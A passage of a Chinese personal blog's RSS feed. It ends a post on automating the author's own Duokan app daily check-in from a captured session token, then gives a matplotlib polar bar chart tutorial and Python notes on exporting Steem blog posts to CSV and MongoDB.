</span></span><span class="line"><span class="cl">        <span class="n">c</span> <span class="o">=</span> <span class="p">(</span><span class="n">c</span> <span class="o">*</span> <span class="mi">131</span> <span class="o">+</span> <span class="n">string</span><span class="p">[</span><span class="n">i</span><span class="p">]</span><span class="o">.</span><span class="n">encode</span><span class="p">()[</span><span class="mi">0</span><span class="p">])</span> <span class="o">%</span> <span class="mi">65536</span>
</span></span><span class="line"><span class="cl">        <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">t</span><span class="p">,</span> <span class="n">c</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>签到：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">duokanqd</span><span class="p">(</span><span class="n">config</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="s1">&#39;https://www.duokan.com/checkin/v0/checkin&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="n">Cookie</span> <span class="o">=</span> <span class="s2">&#34;device_id=</span><span class="si">{device_id}</span><span class="s2">;app_id=</span><span class="si">{app_id}</span><span class="s2">;build=</span><span class="si">{build}</span><span class="s2">;channel=TBVP2Y;user_type=1;device_hash=</span><span class="si">{device_hash}</span><span class="s2">;</span><span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span><span class="s2">device_hash_set=null;token=</span><span class="si">{token}</span><span class="s2">;&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="o">**</span><span class="n">config</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;Content-Type&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;application/x-www-form-urlencoded&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;User-Agent&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;Dalvik/2.1.0 (Linux; U; Android 8.0.0; PRA-AL00X Build/HONORPRA-AL00X)&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;Accept-Encoding&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;gzip,deflate&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;Cookie&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">Cookie</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">_t</span><span class="p">,</span> <span class="n">_c</span> <span class="o">=</span> <span class="n">get_csrf_params</span><span class="p">(</span><span class="n">config</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">&#39;device_id&#39;</span><span class="p">,</span> <span class="s1">&#39;D0063006284a6677&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span><span class="s1">&#39;_t&#39;</span><span class="p">:</span> <span class="n">_t</span><span class="p">,</span> <span class="s1">&#39;_c&#39;</span><span class="p">:</span> <span class="n">_c</span><span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="n">rsp</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">rsp</span><span class="o">.</span><span class="n">json</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">duokanqd</span><span class="p">(</span><span class="n">config</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="err">&#39;msg&#39;:</span> <span class="err">&#39;今日已签到&#39;,</span> <span class="err">&#39;result&#39;:</span> <span class="err">500002</span><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>写个定时任务，每天执行一下这个签到程序就可以自动领书币了。<br>
抓包获取的 token 总会到失效的一天，得通过多看的登录接口更新 token，其登录API为：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="cl"><span class="nf">POST</span> <span class="nn">/dk_id/api/wx/login</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">www.duokan.com</span>
</span></span><span class="line"><span class="cl"><span class="n">Content-Type</span><span class="o">:</span> <span class="l">application/x-www-form-urlencoded</span>
</span></span><span class="line"><span class="cl"><span class="n">Cookie</span><span class="o">:</span>  <span class="l">device_id=XXXXXXXXXXXXXXXX;device_hash=********************</span>
</span></span><span class="line"><span class="cl"><span class="n">User-Agent</span><span class="o">:</span>  <span class="l">Dalvik/2.1.0 (Linux; U; Android 8.0.0; PRA-AL00X Build/HONORPRA-AL00X)</span>
</span></span><span class="line"><span class="cl"><span class="n">Accept-Encoding</span><span class="o">:</span>  <span class="l">gzip</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">package=com.duokan.reader&amp;code=XXXXXXXXXXXXX&amp;_t=1538236192&amp;_c=60082
</span></span></code></pre></td></tr></table>
</div>
</div><p>这是我用微信账号授权登录的请求，code 这个参数是使用微信授权登录的一个临时令牌，code 是一次性的，用过就失效了。code 这个参数获取不了，想要自动登录多看账号的想法失败。</p>
<p>如果不用微信登录，而直接用小米的账号密码登录，是不是可以成功登录多看呢？得注册个小米账号试试。</p>
]]></content:encoded>
    </item>
    <item>
      <title>用 matplotlib 画极坐标柱状图</title>
      <link>https://hacperme.com/posts/notes/2018-09-10-matplotlib-polar-bar/</link>
      <pubDate>Mon, 10 Sep 2018 06:00:45 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-09-10-matplotlib-polar-bar/</guid>
      <description>之前在Learn Python with Steem #10 #11 笔记文章中使用Windrose这个包来画时间频率图，但Windrose叫风玫瑰图，绘制的图是专门用来表示风速和风向</description>
      <content:encoded><![CDATA[<p>之前在<a href="https://hacperme.com/2018/08/26/learn-python-with-steem-10-11-note/#i-5">Learn Python with Steem #10 #11 笔记</a>文章中使用<a href="https://github.com/python-windrose/windrose">Windrose</a>这个包来画时间频率图，但Windrose叫风玫瑰图，绘制的图是专门用来表示风速和风向的关系的，在风玫瑰图中，用不同的颜色表示风速的大小，而每个扇形的长度表示风向的频率,表示主导风向。用Windrose来表示时间频率有违背风玫瑰图的原意。</p>
<p><img loading="lazy" src="https://raw.githubusercontent.com/python-windrose/windrose/master/docs/screenshots/bar.png" alt="Windrose"  />
</p>
<p>所以直接用 matplotlib 画极坐标柱状图来表示时间频率更合适。</p>
<hr>
<p>先导入Python包numpy和matplotlib：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>编写绘图函数：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">make_polar_bar</span><span class="p">(</span><span class="n">array_data</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="n">edgecolor</span><span class="o">=</span><span class="s1">&#39;white&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="n">bottom</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="n">bins</span><span class="o">=</span><span class="mi">24</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="n">opening</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="n">ticks</span><span class="o">=</span><span class="kc">None</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">                        <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 设置扇形的颜色</span>
</span></span><span class="line"><span class="cl">    <span class="n">facecolor</span> <span class="o">=</span> <span class="n">kwargs</span><span class="o">.</span><span class="n">pop</span><span class="p">(</span><span class="s1">&#39;facecolor&#39;</span><span class="p">,</span> <span class="kc">None</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">facecolor</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">facecolor</span> <span class="o">=</span> <span class="p">(</span><span class="mi">94</span> <span class="o">/</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">79</span> <span class="o">/</span> <span class="mi">255</span><span class="p">,</span> <span class="mi">162</span> <span class="o">/</span> <span class="mi">255</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 设置每个扇形的间距 2*pi/bins = theta (rad)</span>
</span></span><span class="line"><span class="cl">    <span class="n">theta</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">linspace</span><span class="p">(</span><span class="mf">0.0</span><span class="p">,</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">pi</span><span class="p">,</span> <span class="n">bins</span><span class="p">,</span> <span class="n">endpoint</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 统计数据的频次，每个直方的高度</span>
</span></span><span class="line"><span class="cl">    <span class="n">freq</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">histogram</span><span class="p">(</span><span class="n">array_data</span><span class="p">,</span> <span class="n">bins</span><span class="o">=</span><span class="n">bins</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 设置每个直方的宽度，opening为 0~1，按比例调节直方的宽度</span>
</span></span><span class="line"><span class="cl">    <span class="n">width</span> <span class="o">=</span> <span class="p">(</span><span class="mi">2</span> <span class="o">*</span> <span class="n">np</span><span class="o">.</span><span class="n">pi</span><span class="p">)</span> <span class="o">/</span> <span class="n">bins</span> <span class="o">*</span> <span class="n">opening</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">plt</span><span class="o">.</span><span class="n">figure</span><span class="p">(</span><span class="n">figsize</span><span class="o">=</span><span class="n">figsize</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">ax</span> <span class="o">=</span> <span class="n">plt</span><span class="o">.</span><span class="n">subplot</span><span class="p">(</span><span class="mi">111</span><span class="p">,</span> <span class="n">polar</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">bars</span> <span class="o">=</span> <span class="n">ax</span><span class="o">.</span><span class="n">bar</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">theta</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">freq</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">width</span><span class="o">=</span><span class="n">width</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">bottom</span><span class="o">=</span><span class="n">bottom</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">edgecolor</span><span class="o">=</span><span class="s1">&#39;white&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">facecolor</span><span class="o">=</span><span class="n">facecolor</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 设置N方向为起点</span>
</span></span><span class="line"><span class="cl">    <span class="n">ax</span><span class="o">.</span><span class="n">set_theta_zero_location</span><span class="p">(</span><span class="s2">&#34;N&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 设置旋转方向为顺时针方向</span>
</span></span><span class="line"><span class="cl">    <span class="n">ax</span><span class="o">.</span><span class="n">set_theta_direction</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># 设置标签</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">ticks</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">ticks</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;0&#39;</span><span class="p">,</span> <span class="s1">&#39;45&#39;</span><span class="p">,</span> <span class="s1">&#39;90&#39;</span><span class="p">,</span> <span class="s1">&#39;135&#39;</span><span class="p">,</span> <span class="s1">&#39;180&#39;</span><span class="p">,</span> <span class="s1">&#39;225&#39;</span><span class="p">,</span> <span class="s1">&#39;270&#39;</span><span class="p">,</span> <span class="s1">&#39;315&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ax</span><span class="o">.</span><span class="n">set_xticklabels</span><span class="p">(</span><span class="n">ticks</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">plt</span><span class="o">.</span><span class="n">show</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>测试绘图：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">arr</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="mi">5000</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">make_polar_bar</span><span class="p">(</span><span class="n">arr</span><span class="p">,</span> <span class="n">bins</span><span class="o">=</span><span class="mi">100</span><span class="p">,</span> <span class="n">opening</span><span class="o">=</span><span class="mf">0.8</span><span class="p">,</span> <span class="n">bottom</span><span class="o">=</span><span class="mi">50</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">ticks</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;0:00&#39;</span><span class="p">,</span> <span class="s1">&#39;3:00&#39;</span><span class="p">,</span> <span class="s1">&#39;6:00&#39;</span><span class="p">,</span> <span class="s1">&#39;9:00&#39;</span><span class="p">,</span> <span class="s1">&#39;12:00&#39;</span><span class="p">,</span> <span class="s1">&#39;15:00&#39;</span><span class="p">,</span> <span class="s1">&#39;18:00&#39;</span><span class="p">,</span> <span class="s1">&#39;21:00&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">arr</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">random</span><span class="o">.</span><span class="n">randint</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">24</span><span class="p">,</span> <span class="n">size</span><span class="o">=</span><span class="mi">800</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">make_polar_bar</span><span class="p">(</span><span class="n">arr</span><span class="p">,</span> <span class="n">bins</span><span class="o">=</span><span class="mi">24</span><span class="p">,</span> <span class="n">opening</span><span class="o">=</span><span class="mf">0.8</span><span class="p">,</span> <span class="n">bottom</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">ticks</span><span class="o">=</span><span class="n">ticks</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>结果：</p>
<p><img loading="lazy" src="https://i.loli.net/2018/09/07/5b929cbf8ec97.jpg" alt="blob.jpg"  />
</p>
<p><img loading="lazy" src="https://i.loli.net/2018/09/07/5b929cd825278.jpg" alt="blob.jpg"  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>Learn Python with Steem #10 #11 笔记</title>
      <link>https://hacperme.com/posts/notes/2018-08-26-learn-python-with-steem-10-11-note/</link>
      <pubDate>Sun, 26 Aug 2018 15:24:10 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2018-08-26-learn-python-with-steem-10-11-note/</guid>
      <description>Learn Python with Steem #10 #11 笔记 [toc] 划重点 获取用户的文章列表 通过 steem.Steem.get_account_history 获取用户的动态，从中筛选出文章的 permlink。 再用 steem.Steem.get_content 方法获取每篇文章的详细信息。 其实也可</description>
      <content:encoded><![CDATA[<h1 id="learn-python-with-steem-10-11-笔记">Learn Python with Steem #10 #11 笔记</h1>
<hr>
<p>[toc]</p>
<h2 id="划重点">划重点</h2>
<ul>
<li>
<p>获取用户的文章列表 通过 steem.Steem.get_account_history 获取用户的动态，从中筛选出文章的 permlink。</p>
<p>再用 steem.Steem.get_content 方法获取每篇文章的详细信息。</p>
<p>其实也可以用 steem.blog.Blog 获取用户所有的文章信息。</p>
</li>
</ul>
<h2 id="编程练习">编程练习</h2>
<p>导入需要的Python包</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">csv</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">pymongo</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timezone</span><span class="p">,</span> <span class="n">timedelta</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">steem.blog</span> <span class="kn">import</span> <span class="n">Blog</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pprint</span> <span class="kn">import</span> <span class="n">pprint</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">math</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>定义一个日期转换函数</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">date_2_local_date</span><span class="p">(</span><span class="n">_utcdate</span><span class="p">,</span> <span class="n">_timedelta</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">utc_date</span> <span class="o">=</span> <span class="n">_utcdate</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">tzinfo</span><span class="o">=</span><span class="n">timezone</span><span class="o">.</span><span class="n">utc</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">utc_date</span><span class="o">.</span><span class="n">astimezone</span><span class="p">(</span><span class="n">timezone</span><span class="p">(</span><span class="n">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="n">_timedelta</span><span class="p">)))</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>定义计算声望的函数</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">parse_reputation</span><span class="p">(</span><span class="n">raw_reputation</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="n">math</span><span class="o">.</span><span class="n">log10</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">raw_reputation</span><span class="p">))</span> <span class="o">-</span> <span class="mi">9</span><span class="p">)</span> <span class="o">*</span> <span class="mi">9</span> <span class="o">+</span> <span class="mi">25</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>定义获取文章详情的函数，返回字典类型的数据</p>
<p><img loading="lazy" src="https://i.loli.net/2018/08/26/5b825040a0e76.jpg" alt="blob.jpg"  />
</p>
<p>定义获取用户所有文章的函数，返回字典</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">get_user_posts</span><span class="p">(</span><span class="n">account_name</span><span class="o">=</span><span class="s1">&#39;yjcps&#39;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">blog</span> <span class="o">=</span> <span class="n">Blog</span><span class="p">(</span><span class="n">account_name</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">all_data</span> <span class="o">=</span> <span class="n">blog</span><span class="o">.</span><span class="n">all</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">posts</span> <span class="o">=</span> <span class="p">[</span><span class="n">get_post_detail</span><span class="p">(</span><span class="n">post</span><span class="p">)</span> <span class="k">for</span> <span class="n">post</span> <span class="ow">in</span> <span class="n">all_data</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;account_name&#39;</span><span class="p">:</span><span class="n">account_name</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;count_posts&#39;</span><span class="p">:</span><span class="nb">len</span><span class="p">(</span><span class="n">posts</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;posts&#39;</span><span class="p">:</span><span class="n">posts</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>保存所有文章数据为CSV文件</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">save_to_csv</span><span class="p">(</span><span class="n">data</span><span class="p">:</span> <span class="nb">list</span><span class="p">,</span> <span class="n">file_path</span><span class="p">,</span> <span class="n">encoding</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">keys</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">keys</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">file_path</span><span class="p">,</span> <span class="s1">&#39;w&#39;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="n">encoding</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="n">errors</span><span class="o">=</span><span class="s1">&#39;ignore&#39;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">DictWriter</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">fieldnames</span><span class="o">=</span><span class="n">keys</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span><span class="o">.</span><span class="n">writeheader</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">        <span class="n">writer</span><span class="o">.</span><span class="n">writerows</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>将数据导入到 MongoDB 数据库</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 配置数据库连接信息</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">MONGO_HOST</span> <span class="o">=</span> <span class="s1">&#39;localhost&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">MONGO_COLLECTION</span> <span class="o">=</span> <span class="s1">&#39;steem&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">mongo_client</span> <span class="o">=</span> <span class="n">pymongo</span><span class="o">.</span><span class="n">MongoClient</span><span class="p">(</span><span class="n">MONGO_HOST</span><span class="p">)</span>
